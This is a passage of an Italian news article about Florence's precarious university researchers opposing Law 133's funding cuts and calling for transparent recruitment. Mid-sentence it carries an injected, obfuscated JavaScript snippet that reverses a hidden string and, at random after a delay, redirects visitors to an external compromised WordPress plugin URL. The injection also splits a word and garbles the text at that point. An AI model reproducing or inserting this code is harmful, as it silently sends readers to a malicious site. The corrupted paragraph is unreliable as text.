…e per i precari

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Al Polo delle Scienze Sociali di Firenze, il Coordinamento dei ricercatori precari ha steso un documento per chiedere investimenti adeguati e interventi innovativi per l’Università, raccogliendo adesioni in tutti gli Atenei d’Italia e anche dall’estero.
Il primo punto su cui ribattono è che la 133 non è una riforma, ma una legge di bilancio, per cui propone dei tagli ma non soluzioni alternative.
Consider (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando che l’Italia ha una spesa per Università e ricerca tra le più basse d’Europa, introdurre ulteriori tagli ne condanna la qualità. In particolare, i professori ordinari che andranno in pensione saranno rimpiazzati in numero molto minore e da precari, negando così qualunque possibilità di carriera ai ricercatori, che svolgono gran parte del lavoro, spesso ricoprendo mansioni non comprese nei loro contratti e non retribuite.

La seconda richiesta riguarda la trasparenza dei metodi di reclutamento. I tagli, infatti, colpiscono tutti gli Atenei senza guardare alla qualità. La proposta è di introdurre un organo di controllo sugli Atenei e novi metodi nei concorsi per una maggiore trasparenza. Al momento infatti non si guarda al curriculum del ricercatore, ma a prove scritte e orali, facilmente pilotabili.
In più la 133, autorizzando la privatizzazione delle Università, rischia di creare una situazione con pochi poli nazionali, dove si continueranno solo studi in settori specifici, già finanziati con successo da anni dalle grandi industrie, trascurandone del tutto altri, e molti Atenei privi di ricerca e quindi di scarsa qualità.
La posizione dei docenti ordinari di Firenze rispetto alla protesta è varia: a Scienze Matematiche compatta nell’approvare il blocco delle lezioni, mentre da altre parti un po’ ambigua. Il tentativo è di chiedere loro una presa di posizione ufficiale, convocandoli in Consiglio di Facoltà, dove però i ricercatori precari, altra questione scottante, non sono rappresentati affatto!

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